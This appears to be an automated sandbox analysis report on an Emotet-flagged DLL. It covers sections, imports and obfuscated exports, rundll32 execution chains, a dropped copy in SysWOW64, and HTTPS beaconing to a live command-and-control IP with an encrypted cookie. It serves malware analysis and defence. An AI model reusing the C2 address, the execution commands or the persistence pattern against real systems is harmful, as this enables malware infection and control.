.rdata	0x28000	0x313fa	0x31400	False	0.822468868972	data	7.43223852179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5a000	0x1844	0xe00	False	0.270647321429	data	2.60881097454	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.pdata	0x5c000	0x66c	0x800	False	0.3583984375	data	2.21689595795	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.reloc	0x5d000	0x1bb0	0x1c00	False	0.784598214286	data	6.62358237634	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Imports

DLL

Import

KERNEL32.dll

HeapFree, HeapReAlloc, GetProcessHeap, HeapAlloc, GetModuleHandleA, GetProcAddress, TlsGetValue, TlsSetValue, AcquireSRWLockExclusive, ReleaseSRWLockExclusive, AcquireSRWLockShared, ReleaseSRWLockShared, SetLastError, GetEnvironmentVariableW, GetLastError, GetCurrentDirectoryW, GetCurrentProcess, GetCurrentThread, RtlCaptureContext, ReleaseMutex, WaitForSingleObjectEx, LoadLibraryA, CreateMutexA, CloseHandle, GetStdHandle, GetConsoleMode, WriteFile, WriteConsoleW, TlsAlloc, GetCommandLineW, CreateFileA, GetTickCount64, CreateFileW, SetFilePointerEx, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TerminateProcess, IsProcessorFeaturePresent, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, RaiseException, RtlUnwind, InterlockedFlushSList, EncodePointer, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, InitializeCriticalSectionAndSpinCount, TlsFree, FreeLibrary, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, GetCommandLineA, MultiByteToWideChar, WideCharToMultiByte, GetEnvironmentStringsW, FreeEnvironmentStringsW, LCMapStringW, GetFileType, GetStringTypeW, HeapSize, SetStdHandle, FlushFileBuffers, GetConsoleOutputCP, DecodePointer

USER32.dll

GetDC, ReleaseDC, GetWindowRect

Exports

Name	Ordinal	Address
Control_RunDLL	1	0x100010a0
ajkaibu	2	0x100016c0
akyncbgollmj	3	0x10001480
alrcidxljxybdggs	4	0x10001860
bgmotrriehds	5	0x10001820
bojkfvynhhupnooyb	6	0x100019f0
bujuoqldqlzaod	7	0x10001800
bunsahctogxzts	8	0x100019e0
cjogbtafwukesw	9	0x10001830
csbbcaopuok	10	0x100016a0
cyqrjpaeorjur	11	0x100015f0
dlrzuyaeqj	12	0x10001840
egiimrq	13	0x10001850
evhgyts	14	0x100014f0
fdqpjjjyuw	15	0x100017e0
finabzjyxhxnnuuv	16	0x10001510
fkeacqpbbfw	17	0x10001910
fuwsgzf	18	0x10001790
fzbmpailk	19	0x10001980
gamsrhauvgl	20	0x10001810
gjfqgtgk	21	0x10001a10
gwsmfxfmekkyr	22	0x100018b0
haymuvtatadeydqmk	23	0x10001530
hqruohhkvpdalhq	24	0x10001620
htdaydfvtjlujwcaj	25	0x10001660
hzyrvjtx	26	0x100017c0
ifnsupqhxkwj	27	0x10001870
ijhgowlpmypocg	28	0x10001720
ispjhrqaxnyflnn	29	0x100015a0
iszvcqv	30	0x100017a0
ixgucop	31	0x100018d0
jcdvrhrguqtjpkc	32	0x100016b0
jkfyadsdpoks	33	0x100019c0
kfzgxmljkwaqy	34	0x10001730
kzfvroxozxufciczm	35	0x10001740
lpstjqa	36	0x10001900
ltkoyvzovzkqemyw	37	0x10001630
mdigcwjymnzvgaql	38	0x100014d0
mefathlzguuhqodfx	39	0x10001950
mgsrmfbja	40	0x10001500
mrxhcceopg	41	0x100014a0
nafhmuoq	42	0x100018f0
nefxgpc	43	0x100018a0
nrehxpiznrppeu	44	0x10001690
nucocnvjyqp	45	0x100018e0
obxoxtcbntaxofr	46	0x10001890
ofrzojd	47	0x100016e0
oofbctfc	48	0x10001550
opzpazspbecyjojf	49	0x100015b0
oqoigff	50	0x10001a00
oujlzhzvhjh	51	0x100016f0
ovpsanbypajv	52	0x100015e0
pblpcaadqbdxyb	53	0x10001680
ragwdgnyohftj	54	0x100017d0
rfosmac	55	0x10001710
rgymbuetvifqjqdlo	56	0x10001930
rmoxbxbbgidnbds	57	0x10001970
rxnkmfbycdcc	58	0x10001560
sefltbc	59	0x10001880
sgieprcsphl	60	0x100019a0
shpcmnqzvyltgdt	61	0x100016d0
slktbekupvmdbt	62	0x100015c0
sormivnk	63	0x10001570
tdblkstlyin	64	0x10001600
tkllyrc	65	0x10001650
tkwpnvfqnbpbdqe	66	0x10001a20
tnhtgnjrabqakgeke	67	0x10001700
tzpmcwwig	68	0x10001520
uceklmggjof	69	0x10001610
ukwdddyj	70	0x10001640
uwnaptydgur	71	0x10001940
vjusqoeo	72	0x10001580
vnyufpq	73	0x10001590
vsrwmkhzkrtlexxb	74	0x100014e0
wermsdfzb	75	0x10001770
wkhpfdjkypy	76	0x100014c0
wksndtayhfm	77	0x100015d0
wnjvxspilxpchq	78	0x10001670
wuqwfssiddrcl	79	0x10001570
wyyhtqptznbrknitg	80	0x100017f0
wzkcijdvadq	81	0x10001540
wzxlvxuyy	82	0x100019b0
xhtxeilfgsghxik	83	0x10001780
xvdijhconoukll	84	0x100014b0
ybbwnezvxfafm	85	0x10001750
yeylpreasnzamgac	86	0x100019d0
ypkidshxgzkkehc	87	0x100018c0
ypzvmpfbgai	88	0x10001760
zbrzizodycg	89	0x10001990
zdiuqcnzg	90	0x10001920
zfkwwtxd	91	0x10001490
zktykfwmaehxg	92	0x10001600
zmkbqvofdhermov	93	0x10001960
zvtqmkitgmzgo	94	0x100017b0

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2021 00:55:59.113495111 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:55:59.113668919 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:55:59.113843918 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:55:59.149615049 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:55:59.149646044 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:55:59.490511894 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:55:59.490653038 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:55:59.780678988 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:55:59.780733109 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:55:59.781363010 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:55:59.783365965 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:55:59.787297010 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:55:59.828861952 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:56:00.323075056 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:56:00.323179960 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:56:00.323218107 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:56:00.323240042 CET	443	49794	45.63.5.129	192.168.2.4
Dec 2, 2021 00:56:00.323384047 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:56:00.327590942 CET	49794	443	192.168.2.4	45.63.5.129
Dec 2, 2021 00:56:00.327616930 CET	443	49794	45.63.5.129	192.168.2.4

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 2, 2021 00:52:25.606822968 CET	8.8.8.8	192.168.2.4	0x52b2	No error (0)	a-0019.a.dns.azurefd.net	a-0019.standard.a-msedge.net		CNAME (Canonical name)	IN (0x0001)

HTTP Request Dependency Graph

45.63.5.129

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49794	45.63.5.129	443	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Direction	Data
2021-12-01 23:55:59 UTC	OUT	GET /vIcMmPpXrabVVBXOJgaOKuPeOcCKPXUIh HTTP/1.1 Cookie: HR=hcy/hRyH9NLoEyk6a7Uz59hOb7mzlO/wmgmuw+U+8hB3e4M76BBMZiQXdzL+rOvzb1yL3LfyOSim45PynOuCpUIZnQ5cZmHqs7SQt9O7zwz4xkXcg6/oRkU7EE5sPE10xFi1y7VDx9Ov7ygmxpemyuKnLT/gv0JB9m9mcmPDhKiVbEhBpBiGTYaZoGTSg6tFd1fI6MMeVezZeVD7pkX8i8U0SqwAVpQnS4Y1xB1iegh6pXp4tFE7gJs9t6T5v6aI71n7DxNMxlhyB7kHYd2tzisWwB/rDwKlrXgJBvRGWdLzEoTJug== Host: 45.63.5.129 Connection: Keep-Alive Cache-Control: no-cache
2021-12-01 23:56:00 UTC	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 01 Dec 2021 23:56:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2021-12-01 23:56:00 UTC	IN	Data Raw: 31 35 36 0d 0a a0 80 bb 4b f5 40 e4 a9 cf 59 94 6b 5e 26 3f 20 bc ea 2b df 82 7f f6 09 17 3f e7 3e 23 92 53 8f 59 f0 fb 67 d3 19 12 43 28 33 26 79 62 6c 3e 99 06 d4 29 1c 98 b7 94 44 1c 5a 48 8d cc da b2 a5 75 f8 0d dc 3a f0 17 a9 29 a2 1c c7 9a 12 4d bd dc e0 d2 7f 9a 83 8b c9 27 d5 29 39 e9 02 aa 65 c8 72 da a1 5b dd 13 af 58 28 61 21 00 70 b6 ec 02 1c a1 9b cc db 55 a4 30 d6 18 ac b0 35 d1 b2 d5 0a 58 19 2c 47 c7 a9 ca 0a de ee 9c 1b b1 a5 88 8b 30 66 b9 69 54 03 84 4b a9 b8 82 40 bd 9a 55 bb 17 c4 85 27 6b e6 82 f0 a8 d6 e4 21 13 84 c3 d7 73 c7 d8 89 48 e2 30 1a 18 9a f6 77 4d fd 4e 9c c2 bf b1 d4 86 cf 4f 07 e7 ff 76 cb e1 98 c0 ec 54 d5 70 06 06 ad 27 f7 b9 ca 4a 1c 72 cb 98 dc da a0 34 2e 19 40 de c0 61 3b 28 6a 2b ec f5 87 cc f6 3d ae 14 49 09 85 Data Ascii: 156K@Yk^&? +?>#SYgC(3&ybl>)DZHu:)M')9er[X(a!pU05X,G0fiTK@U'k!sH0wMNOvTp'Jr4.@a;(j+=I

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6888 Parent PID: 6092

General

Start time:	00:52:06
Start date:	02/12/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll"
Imagebase:	0xb40000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.939956990.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.939956990.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.958610660.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.958610660.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.958778791.00000000011EB000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.989427479.00000000011EB000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000002.989393299.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.989393299.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.940009942.00000000011EB000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.956837036.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.956837036.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.939031365.00000000011EB000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.956978658.00000000011EB000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000000.00000000.938967752.0000000001170000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.938967752.0000000001170000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 6908 Parent PID: 6888

General

Start time:	00:52:07
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1
Imagebase:	0x11d0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6920 Parent PID: 6888

General

Start time:	00:52:07
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,Control_RunDLL
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000003.904116541.00000000006AB000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000003.904116541.00000000006AB000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000002.00000002.914845954.0000000000540000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.914845954.0000000000540000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6932 Parent PID: 6908

General

Start time:	00:52:07
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",#1
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.913568790.0000000001020000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.913622906.00000000010CA000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6988 Parent PID: 6888

General

Start time:	00:52:11
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,ajkaibu
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.930364249.00000000003B0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.930427759.00000000009EA000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 7000 Parent PID: 6888

General

Start time:	00:52:15
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\IGidwJjoUs.dll,akyncbgollmj
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.939332319.00000000005C0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000007.00000002.939371192.000000000095A000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5624 Parent PID: 6932

General

Start time:	00:54:02
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6496 Parent PID: 6920

General

Start time:	00:54:03
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Cwisdx\vimpwfmepmyc.nyd",czAZWAgsaZPj
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.1030937060.0000000000DBA000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 0000000C.00000002.1031053353.00000000010B0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 5228 Parent PID: 6988

General

Start time:	00:54:09
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6572 Parent PID: 7000

General

Start time:	00:54:14
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\IGidwJjoUs.dll",Control_RunDLL
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5996 Parent PID: 568

General

Start time:	00:54:14
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 6596 Parent PID: 5996

General

Start time:	00:54:15
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 6888 -ip 6888
Imagebase:	0xf50000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: WerFault.exe PID: 7052 Parent PID: 6888

General

Start time:	00:54:18
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 308
Imagebase:	0xf50000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 6948 Parent PID: 5996

General

Start time:	00:54:25
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6888 -ip 6888
Imagebase:	0xf50000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 3144 Parent PID: 6888

General

Start time:	00:54:27
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 6888 -s 304
Imagebase:	0xf50000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5528 Parent PID: 568

General

Start time:	00:54:46
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6128 Parent PID: 6496

General

Start time:	00:54:59
Start date:	02/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Cwisdx\vimpwfmepmyc.nyd",Control_RunDLL
Imagebase:	0x11d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000017.00000003.1139622922.0000000000FAB000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000017.00000003.1139622922.0000000000FAB000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet, Description: Yara detected Emotet, Source: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000017.00000002.1183917294.0000000000EB0000.00000040.00000010.sdmp, Author: Joe Security

Chronological Activities

Analysis Process: svchost.exe PID: 6240 Parent PID: 568

General

Start time:	00:55:16
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 5644 Parent PID: 568

General

Start time:	00:55:39
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 4588 Parent PID: 568

General

Start time:	00:55:54
Start date:	02/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p
Imagebase:	0x7ff6eb840000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 6888 Parent PID: 6092 loaddll32.exeCOMMON

Executed Functions

Function 6E7B9990, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6E7B9B65
GetLastError.KERNEL32 ref: 6E7B9B6B
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 6E7B9B87

Strings

asd, xrefs: 6E7B9B5C

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: ba585a0df92397d78eafea0ed9e64f080a1537ed73a79c5825f0b012d06cb58e
Instruction ID: f3e6e7b5553717fda1b4467653c3c8b7504e364b0ef67bdf36e6bef4abb1aa34
Opcode Fuzzy Hash: ba585a0df92397d78eafea0ed9e64f080a1537ed73a79c5825f0b012d06cb58e
Instruction Fuzzy Hash: 86E1DE71A083068FCB50CF99C990B2AB7E1FFA9704F15496DE8698B365E731E845CF81

Uniqueness

Uniqueness Score: -1.00%

Function 6E7A1290, Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 136memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B97D6
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B97F4
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B980D
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B980F
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B9816
Part of subcall function 6E7B97A0: GetTickCount64.KERNEL32 ref: 6E7B9834

GetProcessHeap.KERNEL32 ref: 6E7A1337
HeapAlloc.KERNEL32(011E0000,00000000,00023000), ref: 6E7A1351
HeapFree.KERNEL32(00000000,?), ref: 6E7A1435

Strings

'`Ly, xrefs: 6E7A1319

Memory Dump Source

Source File: 00000000.00000002.989498897.000000006E7A1000.00000020.00020000.sdmp, Offset: 6E7A0000, based on PE: true

Associated: 00000000.00000002.989491273.000000006E7A0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989518571.000000006E7C8000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.989546155.000000006E7FA000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.989553396.000000006E7FC000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.989560098.000000006E7FD000.00000002.00020000.sdmp Download File

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID: '`Ly
API String ID: 2047189075-560155178
